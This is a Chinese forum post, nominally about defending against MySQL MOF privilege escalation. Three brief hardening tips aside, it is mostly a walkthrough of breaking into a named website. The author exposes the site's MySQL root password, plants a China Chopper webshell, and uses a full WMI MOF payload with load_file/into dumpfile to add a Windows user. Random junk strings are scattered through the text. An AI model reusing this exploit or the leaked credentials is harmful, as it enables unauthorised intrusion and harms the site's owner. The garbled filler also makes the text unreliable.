Mysql mof扩展漏洞防范方法) m# K- I0 y3 w+ D3 m% \7 y
, v4 X7 f1 N% n- L* F2 g9 Q/ o
网上公开的一些利用代码:
% g- i/ T# |: P' K3 U$ M4 T9 L a
#pragma namespace(“\\\\.\\root\\subscription”)
6 l4 x0 C r) s! h" Y) ~0 I& O
' P5 n% g- A, e8 Xinstance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user admin admin /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };
% v# i) _0 @! x) M3 u/ a/ v# r# X" Q' g7 h& q3 \' p- f9 U
! f6 O$ B6 x# o- e
# c6 R% v5 `6 m 2 _% R* Q+ }& h8 }% G
* ?- b" [1 `7 K* ?' S# W连接mysql数据库后执行: select load_file(‘C:\\RECYCLER\\nullevt.mof’) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’;; G( u. N1 }" {9 k7 r4 I
从上面代码来看得出解决办法:
/ |, p i/ _+ z3 v6 l( C5 m" H Y" z
) w' A4 l% A9 P: f V, t1、mysql用户权限控制,禁止 “load_file”、”dumpfile”等函数, M9 l' }( \( ]& r# r
& d) S5 d( { i' N" C; N2、禁止使用”WScript.Shel”组件: i( @% \2 k$ h0 p5 K
! I9 N) L) W6 J5 e
3、目录权限c:/windows/system32/wbem/mof/ 删除内置特殊组CREATOR OWNER8 o& M+ U- n: r4 o: ?
' x& p, H. G. F" k
当然上面是网上说的 感觉需要的权限很大 比如 root 还有mysql外链昨天碰到了就给大家演示下
$ w t7 G3 W- a7 s: e
$ o% ?0 I ?! P8 k& R, ~. j/ S; m事情是这样发生的 一机油在论坛提问我就看了下 发现已经有大牛搞下了 说是用是 mysql mof扩展提权- e# Z3 G) `* y) f- {
9 \- [$ H% E- U; q' I8 G
但是小菜发现没有听过于是赶紧去查资料学习…就有了上面的来着网上的内容) _& `) V1 x; r# E5 @
; W. F# K8 }( B5 ^% o7 e' z看懂了后就开始练手吧" Q) g2 r' G7 q8 S9 H
; a Q6 x0 R+ m! @http://www.webbmw.com/config/config_ucenter.php 一句话 a
3 {0 x) V) W$ n- b3 b# X
% a# o6 _( N) ?# Z# U2 |$_config['db']['1']['dbhost'] = ‘localhost’; $_config['db']['1']['dbuser'] = ‘root’; $_config['db']['1']['dbpw'] = ‘tfr226206′; $_config['db']['1']['dbcharset'] = ‘gbk’; $_config['db']['1']['pconnect'] = ’0′; $_config['db']['1']['dbname'] = ‘webbmw’; $_config['db']['1']['tablepre'] = ‘pre_’; $_config['db']['common']['slave_except_table'] = ”; 有root密码啊。+ J6 ?/ L; D4 g, X: p) K: z/ V
& z) v& s4 _+ m: [9 `于是直接用菜刀开搞: Z2 r* y7 ^& Z8 H( E
5 t/ O- d0 O+ N" h上马先
7 E1 ]# ~# ^6 K
/ f3 a$ O/ d- t- N3 ?既然有了那些账号 之类的 于是我们就执行吧…….0 [/ u+ R! a# p: t& ]
! E! h0 j: c2 t8 l9 Z
小小的说下
7 q, y! ^3 P. h; Z0 N ]0 A3 o; z7 N( X( m, [
在这里第1次执行未成功 原因未知, v$ Y% z+ v3 D; D& |7 h
( S8 x) {) B: v- ^2 ~% k0 {
我就猜想是否是因为我们执行的代码有问题 于是我就去我wooyun找的代码。
+ v9 S8 u7 d* j M/ ?! X/ k) {9 c S! t& I8 y7 t/ f0 g4 S. O
#pragma namespace(“\\\\.\\root\\subscription”)) S4 `: r! l0 E5 g b
& c2 }1 B; Z6 |+ _1 }instance of __EventFilter as $EventFilter { EventNamespace = “Root\\Cimv2″; Name = “filtP2″; Query = “Select * From __InstanceModificationEvent ” “Where TargetInstance Isa \”Win32_LocalTime\” ” “And TargetInstance.Second = 5″; QueryLanguage = “WQL”; }; instance of ActiveScriptEventConsumer as $Consumer { Name = “consPCSV2″; ScriptingEngine = “JScript”; ScriptText = “var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user test test /add\”)”; }; instance of __FilterToConsumerBinding { Consumer = $Consumer; Filter = $EventFilter; };7 n" n! y. y! Y0 t8 @( Y
. E4 s0 y0 M F
我是将文件放到C:\WINDOWS\temp\1.mof
3 P+ _/ a1 p! o4 | C& k3 |
$ y. ^, b2 {6 M B) g C所以我们就改下执行的代码
- C6 c( n! y1 l' z6 q4 s! f1 w: u' {3 P$ E8 ]
select load_file(‘C:\WINDOWS\temp\1.mof‘) into dumpfile ‘c:/windows/system32/wbem/mof/nullevt.mof’; a8 D3 O' O- C. C, j
# k9 [5 a, l# M& T0 v
6 S$ _1 D8 t N3 I U7 d( O8 k/ d Q8 I% c% Z; r0 f
但是 你会发现账号还是没有躺在那里。。
: ?' s. A x p3 t% F/ _/ c
6 A5 ]% j7 b5 W2 B/ T于是我就感觉蛋疼
Z+ a9 B' d; Z, V# N0 v6 m
! Z6 x5 c! u* } t% j就去一个一个去执行 但是执行到第2个 mysql时就成功了………
$ I1 J; H3 Z/ _/ F1 p6 i# S) M2 z2 g
9 G' S, }' F* r9 p3 b r
! o# p% e+ D1 [6 o
2 O0 q6 r4 `$ R但是其他库均不成功…
9 j h' W' V: H8 \& c5 w
7 }0 G5 {9 P/ E& y- {- F6 D我就很费解呀 到底为什么不成功求大牛解答…9 U( D5 X0 V8 c' v' g
3 J I- g7 e$ K3 v
# l) {8 a) b4 E8 `- D5 B
3 N+ Z* j- l: v |